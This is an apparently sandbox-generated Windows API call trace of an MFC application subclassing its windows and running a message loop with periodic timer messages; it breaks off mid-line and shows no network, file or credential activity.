0x0 [0235.487] GetPropW (hWnd=0xd002a, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0235.487] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0xd002a, Msg=0x46, wParam=0x0, lParam=0xc3e6a4) returned 0x0 [0235.487] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x46, wParam=0x0, lParam=0xc3e6a4) returned 0x0 [0235.489] GetPropW (hWnd=0xd002a, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0235.489] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0xd002a, Msg=0x47, wParam=0x0, lParam=0xc3e6a4) returned 0x0 [0235.489] GetPropW (hWnd=0x10020a, lpString="AfxOldWndProc423") returned 0x747484b0 [0235.489] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x10020a, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0235.489] GetPropW (hWnd=0xd002a, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0235.489] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0xd002a, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0235.489] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0235.489] IsWindowEnabled (hWnd=0x7004a) returned 1 [0235.489] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0235.490] GetWindowLongW (hWnd=0x7004a, nIndex=-16) returned -2066874292 [0235.490] GetParent (hWnd=0x7004a) returned 0x0 [0235.491] GetParent (hWnd=0x7004a) returned 0x0 [0235.491] SendMessageW (hWnd=0x7004a, Msg=0x36e, wParam=0x1, lParam=0xc3e2d4) returned 0x0 [0235.491] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0235.491] GetPropW (hWnd=0xd002a, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0235.491] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0xd002a, Msg=0x287, wParam=0x17, lParam=0x50046) returned 0x0 [0235.492] GetClassLongW (hWnd=0x2021c, nIndex=-32) returned 0xc03e [0235.493] GetWindowLongW (hWnd=0x2021c, nIndex=-4) returned 1963210704 [0235.493] GetPropW (hWnd=0x2021c, lpString="AfxOldWndProc423") returned 0x0 [0235.493] SetPropW (hWnd=0x2021c, lpString="AfxOldWndProc423", hData=0x750437d0) returned 1 [0235.493] GetPropW (hWnd=0x2021c, lpString="AfxOldWndProc423") returned 0x750437d0 [0235.493] GlobalAddAtomW (lpString="AfxOldWndProc423") returned 0xc170 [0235.493] SetWindowLongW (hWnd=0x2021c, nIndex=-4, dwNewLong=18156417) returned 1963210704 [0235.493] CallNextHookEx (hhk=0x3015d, nCode=3, wParam=0x2021c, lParam=0xc3db08) returned 0x0 [0235.493] GetPropW (hWnd=0x2021c, lpString="AfxOldWndProc423") returned 0x750437d0 [0235.493] CallWindowProcW (lpPrevWndFunc=0x750437d0, hWnd=0x2021c, Msg=0x81, wParam=0x0, lParam=0xc3db58) returned 0x1 [0235.494] GetPropW (hWnd=0x2021c, lpString="AfxOldWndProc423") returned 0x750437d0 [0235.494] CallWindowProcW (lpPrevWndFunc=0x750437d0, hWnd=0x2021c, Msg=0x83, wParam=0x0, lParam=0xc3db44) returned 0x0 [0235.494] GetPropW (hWnd=0x2021c, lpString="AfxOldWndProc423") returned 0x750437d0 [0235.494] CallWindowProcW (lpPrevWndFunc=0x750437d0, hWnd=0x2021c, Msg=0x1, wParam=0x0, lParam=0xc3db58) returned 0x0 [0235.495] GetPropW (hWnd=0x2021c, lpString="AfxOldWndProc423") returned 0x750437d0 [0235.495] CallWindowProcW (lpPrevWndFunc=0x750437d0, hWnd=0x2021c, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0235.495] GetPropW (hWnd=0x2021c, lpString="AfxOldWndProc423") returned 0x750437d0 [0235.495] CallWindowProcW (lpPrevWndFunc=0x750437d0, hWnd=0x2021c, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0235.499] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x50046, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0235.499] GetPropW (hWnd=0xd002a, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0235.499] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0xd002a, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0235.500] GetClassLongW (hWnd=0x2021e, nIndex=-32) returned 0xc04c [0235.500] GetWindowLongW (hWnd=0x2021e, nIndex=-4) returned 1994197760 [0235.500] GetPropW (hWnd=0x2021e, lpString="AfxOldWndProc423") returned 0x0 [0235.501] SetPropW (hWnd=0x2021e, lpString="AfxOldWndProc423", hData=0x76dd0b00) returned 1 [0235.501] GetPropW (hWnd=0x2021e, lpString="AfxOldWndProc423") returned 0x76dd0b00 [0235.501] GlobalAddAtomW (lpString="AfxOldWndProc423") returned 0xc170 [0235.501] SetWindowLongW (hWnd=0x2021e, nIndex=-4, dwNewLong=18156417) returned 1994197760 [0235.501] CallNextHookEx (hhk=0x3015d, nCode=3, wParam=0x2021e, lParam=0xc3d260) returned 0x0 [0235.501] GetPropW (hWnd=0x2021e, lpString="AfxOldWndProc423") returned 0x76dd0b00 [0235.501] CallWindowProcW (lpPrevWndFunc=0x76dd0b00, hWnd=0x2021e, Msg=0x81, wParam=0x0, lParam=0xc3d2b0) returned 0x1 [0235.502] GetPropW (hWnd=0x2021e, lpString="AfxOldWndProc423") returned 0x76dd0b00 [0235.502] CallWindowProcW (lpPrevWndFunc=0x76dd0b00, hWnd=0x2021e, Msg=0x83, wParam=0x0, lParam=0xc3d29c) returned 0x0 [0235.502] GetPropW (hWnd=0x2021e, lpString="AfxOldWndProc423") returned 0x76dd0b00 [0235.502] CallWindowProcW (lpPrevWndFunc=0x76dd0b00, hWnd=0x2021e, Msg=0x1, wParam=0x0, lParam=0xc3d2b0) returned 0x0 [0235.503] GetPropW (hWnd=0x2021e, lpString="AfxOldWndProc423") returned 0x76dd0b00 [0235.503] CallWindowProcW (lpPrevWndFunc=0x76dd0b00, hWnd=0x2021e, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0235.503] GetPropW (hWnd=0x2021e, lpString="AfxOldWndProc423") returned 0x76dd0b00 [0235.503] CallWindowProcW (lpPrevWndFunc=0x76dd0b00, hWnd=0x2021e, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0235.503] GetPropW (hWnd=0x2021e, lpString="AfxOldWndProc423") returned 0x76dd0b00 [0235.504] CallWindowProcW (lpPrevWndFunc=0x76dd0b00, hWnd=0x2021e, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0235.504] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x50046, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0235.504] GetPropW (hWnd=0xd002a, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0235.516] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0xd002a, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0235.516] GetPropW (hWnd=0x2021e, lpString="AfxOldWndProc423") returned 0x76dd0b00 [0235.516] CallWindowProcW (lpPrevWndFunc=0x76dd0b00, hWnd=0x2021e, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0235.516] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x50046, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0235.516] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x50046, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x2010 [0235.517] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x50046, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x2010 [0235.517] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x50046, Msg=0xf4, wParam=0x0, lParam=0x1) returned 0x0 [0236.227] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x50046, Msg=0x7c, wParam=0xfffffff0, lParam=0xc3e264) returned 0x0 [0236.227] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x50046, Msg=0x7d, wParam=0xfffffff0, lParam=0xc3e264) returned 0x0 [0236.228] CallWindowProcW (lpPrevWndFunc=0x74747ac0, hWnd=0x5020c, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x81 [0236.228] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x110044, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x89 [0236.228] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0xb0030, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x89 [0236.228] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x7002e, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x8d [0236.228] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0xa0038, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x89 [0236.228] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x20226, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x2020 [0236.228] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x20220, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x2000 [0236.228] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x20222, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x89 [0236.228] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x400, wParam=0x0, lParam=0x0) returned 0x534b0001 [0236.228] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x50046, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x2020 [0236.228] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x50046, Msg=0xf4, wParam=0x1, lParam=0x1) returned 0x0 [0236.228] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x50046, Msg=0x7c, wParam=0xfffffff0, lParam=0xc3e294) returned 0x0 [0236.229] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x50046, Msg=0x7d, wParam=0xfffffff0, lParam=0xc3e294) returned 0x0 [0236.229] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0236.229] DeactivateActCtx (dwFlags=0x0, ulCookie=0x159e0021) returned 1 [0236.229] GetWindowLongW (hWnd=0x7004a, nIndex=-16) returned -2066874292 [0236.229] GetWindowLongW (hWnd=0x7004a, nIndex=-16) returned -2066874292 [0236.229] GetParent (hWnd=0x7004a) returned 0x0 [0236.229] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 1 [0236.230] GetMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xd3d638) returned 1 [0236.230] GetParent (hWnd=0x7004a) returned 0x0 [0236.230] GetParent (hWnd=0x7004a) returned 0x0 [0236.230] GetParent (hWnd=0x7004a) returned 0x0 [0236.230] GetParent (hWnd=0x7004a) returned 0x0 [0236.230] TranslateMessage (lpMsg=0xd3d638) returned 0 [0236.230] DispatchMessageW (lpMsg=0xd3d638) returned 0x0 [0236.230] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0236.230] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 1 [0236.231] GetMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xd3d638) returned 1 [0236.232] GetParent (hWnd=0x5020c) returned 0x7004a [0236.232] GetParent (hWnd=0x7004a) returned 0x0 [0236.232] GetParent (hWnd=0x5020c) returned 0x7004a [0236.232] GetParent (hWnd=0x5020c) returned 0x7004a [0236.232] GetParent (hWnd=0x7004a) returned 0x0 [0236.232] GetParent (hWnd=0x7004a) returned 0x0 [0236.232] GetParent (hWnd=0x7004a) returned 0x0 [0236.232] TranslateMessage (lpMsg=0xd3d638) returned 0 [0236.232] DispatchMessageW (lpMsg=0xd3d638) returned 0x0 [0236.232] CallWindowProcW (lpPrevWndFunc=0x74747ac0, hWnd=0x5020c, Msg=0x113, wParam=0x2d, lParam=0x0) returned 0x0 [0236.232] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 1 [0236.232] GetMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xd3d638) returned 1 [0236.232] GetParent (hWnd=0x2021e) returned 0xd002a [0236.232] GetParent (hWnd=0xd002a) returned 0x7004a [0236.232] GetParent (hWnd=0x7004a) returned 0x0 [0236.232] GetParent (hWnd=0x2021e) returned 0xd002a [0236.232] GetWindowLongW (hWnd=0x2021e, nIndex=-16) returned -1946157056 [0236.232] GetWindow (hWnd=0x2021e, uCmd=0x4) returned 0xd002a [0236.232] GetWindowLongW (hWnd=0xd002a, nIndex=-16) returned -1946157056 [0236.233] GetWindow (hWnd=0xd002a, uCmd=0x4) returned 0x7004a [0236.233] GetParent (hWnd=0x7004a) returned 0x0 [0236.233] GetParent (hWnd=0x7004a) returned 0x0 [0236.233] TranslateMessage (lpMsg=0xd3d638) returned 0 [0236.233] DispatchMessageW (lpMsg=0xd3d638) returned 0x0 [0236.233] GetPropW (hWnd=0x2021e, lpString="AfxOldWndProc423") returned 0x76dd0b00 [0236.233] CallWindowProcW (lpPrevWndFunc=0x76dd0b00, hWnd=0x2021e, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0236.233] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0236.233] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0236.233] ShowWindow (hWnd=0x7004a, nCmdShow=1) returned 0 [0236.233] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0236.233] ShowWindow (hWnd=0x7004a, nCmdShow=0) returned 0 [0236.233] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x46, wParam=0x0, lParam=0xc3e88c) returned 0x0 [0236.233] UpdateWindow (hWnd=0x7004a) returned 1 [0236.233] SendMessageW (hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0236.233] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0236.234] GetMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xd3d638) returned 1 [0236.610] GetParent (hWnd=0x7004a) returned 0x0 [0236.610] GetParent (hWnd=0x7004a) returned 0x0 [0236.610] GetParent (hWnd=0x7004a) returned 0x0 [0236.610] GetParent (hWnd=0x7004a) returned 0x0 [0236.610] TranslateMessage (lpMsg=0xd3d638) returned 0 [0236.610] DispatchMessageW (lpMsg=0xd3d638) returned 0x0 [0236.610] IsWindowVisible (hWnd=0x7004a) returned 0 [0236.610] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0236.610] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0236.610] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0236.610] SendMessageW (hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0236.610] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0236.610] GetMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xd3d638) returned 1 [0237.636] GetParent (hWnd=0x7004a) returned 0x0 [0237.636] GetParent (hWnd=0x7004a) returned 0x0 [0237.637] GetParent (hWnd=0x7004a) returned 0x0 [0237.637] GetParent (hWnd=0x7004a) returned 0x0 [0237.637] TranslateMessage (lpMsg=0xd3d638) returned 0 [0237.637] DispatchMessageW (lpMsg=0xd3d638) returned 0x0 [0237.637] IsWindowVisible (hWnd=0x7004a) returned 0 [0237.637] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0237.637] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0237.637] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0237.637] SendMessageW (hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0237.637] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0237.637] GetMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xd3d638) returned 1 [0238.980] GetParent (hWnd=0x7004a) returned 0x0 [0238.980] GetParent (hWnd=0x7004a) returned 0x0 [0238.980] GetParent (hWnd=0x7004a) returned 0x0 [0238.980] GetParent (hWnd=0x7004a) returned 0x0 [0238.980] TranslateMessage (lpMsg=0xd3d638) returned 0 [0238.980] DispatchMessageW (lpMsg=0xd3d638) returned 0x0 [0238.980] IsWindowVisible (hWnd=0x7004a) returned 0 [0238.980] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0238.980] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0238.980] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0238.980] SendMessageW (hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0238.980] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0238.980] GetMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xd3d638) returned 1 [0239.903] GetParent (hWnd=0x7004a) returned 0x0 [0239.903] GetParent (hWnd=0x7004a) returned 0x0 [0239.903] GetParent (hWnd=0x7004a) returned 0x0 [0239.903] GetParent (hWnd=0x7004a) returned 0x0 [0239.903] TranslateMessage (lpMsg=0xd3d638) returned 0 [0239.903] DispatchMessageW (lpMsg=0xd3d638) returned 0x0 [0239.903] IsWindowVisible (hWnd=0x7004a) returned 0 [0239.903] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0239.903] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0239.903] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0239.903] SendMessageW (hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0239.903] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0239.903] GetMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xd3d638) returned 1 [0241.896] GetParent (hWnd=0x7004a) returned 0x0 [0241.896] GetParent (hWnd=0x7004a) returned 0x0 [0241.896] GetParent (hWnd=0x7004a) returned 0x0 [0241.896] GetParent (hWnd=0x7004a) returned 0x0 [0241.896] TranslateMessage (lpMsg=0xd3d638) returned 0 [0241.896] DispatchMessageW (lpMsg=0xd3d638) returned 0x0 [0241.896] IsWindowVisible (hWnd=0x7004a) returned 0 [0241.897] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0241.897] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0241.897] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0241.897] SendMessageW (hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0241.897] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0241.897] GetMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xd3d638) returned 1 [0242.923] GetParent (hWnd=0x7004a) returned 0x0 [0242.923] GetParent (hWnd=0x7004a) returned 0x0 [0242.923] GetParent (hWnd=0x7004a) returned 0x0 [0242.923] GetParent (hWnd=0x7004a) returned 0x0 [0242.923] TranslateMessage (lpMsg=0xd3d638) returned 0 [0242.923] DispatchMessageW (lpMsg=0xd3d638) returned 0x0 [0242.923] IsWindowVisible (hWnd=0x7004a) returned 0 [0242.923] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0242.923] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0242.923] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0242.923] SendMessageW (hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0242.924] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0242.924] GetMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xd3d638) returned 1 [0243.901] GetParent (hWnd=0x7004a) returned 0x0 [0243.901] GetParent (hWnd=0x7004a) returned 0x0 [0243.901] GetParent (hWnd=0x7004a) returned 0x0 [0243.901] GetParent (hWnd=0x7004a) returned 0x0 [0243.901] TranslateMessage (lpMsg=0xd3d638) returned 0 [0243.901] DispatchMessageW (lpMsg=0xd3d638) returned 0x0 [0243.901] IsWindowVisible (hWnd=0x7004a) returned 0 [0243.902] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0243.902] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0243.902] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0243.902] SendMessageW (hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0243.902] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0243.902] GetMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xd3d638) returned 1 [0244.902] GetParent (hWnd=0x7004a) returned 0x0 [0244.902] GetParent (hWnd=0x7004a) returned 0x0 [0244.902] GetParent (hWnd=0x7004a) returned 0x0 [0244.902] GetParent (hWnd=0x7004a) returned 0x0 [0244.902] TranslateMessage (lpMsg=0xd3d638) returned 0 [0244.902] DispatchMessageW (lpMsg=0xd3d638) returned 0x0 [0244.902] IsWindowVisible (hWnd=0x7004a) returned 0 [0244.902] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0244.902] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0244.902] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0244.902] SendMessageW (hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0244.902] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0244.902] GetMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xd3d638) returned 1 [0245.911] GetParent (hWnd=0x7004a) returned 0x0 [0245.911] GetParent (hWnd=0x7004a) returned 0x0 [0245.911] GetParent (hWnd=0x7004a) returned 0x0 [0245.911] GetParent (hWnd=0x7004a) returned 0x0 [0245.911] TranslateMessage (lpMsg=0xd3d638) returned 0 [0245.911] DispatchMessageW (lpMsg=0xd3d638) returned 0x0 [0245.911] IsWindowVisible (hWnd=0x7004a) returned 0 [0245.911] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0245.911] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0245.911] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0245.911] SendMessageW (hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0245.911] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0245.911] GetMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xd3d638) returned 1 [0246.921] GetParent (hWnd=0x7004a) returned 0x0 [0246.921] GetParent (hWnd=0x7004a) returned 0x0 [0246.921] GetParent (hWnd=0x7004a) returned 0x0 [0246.921] GetParent (hWnd=0x7004a) returned 0x0 [0246.921] TranslateMessage (lpMsg=0xd3d638) returned 0 [0246.921] DispatchMessageW (lpMsg=0xd3d638) returned 0x0 [0246.921] IsWindowVisible (hWnd=0x7004a) returned 0 [0246.922] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0246.922] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0246.922] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0246.922] SendMessageW (hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0246.922] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 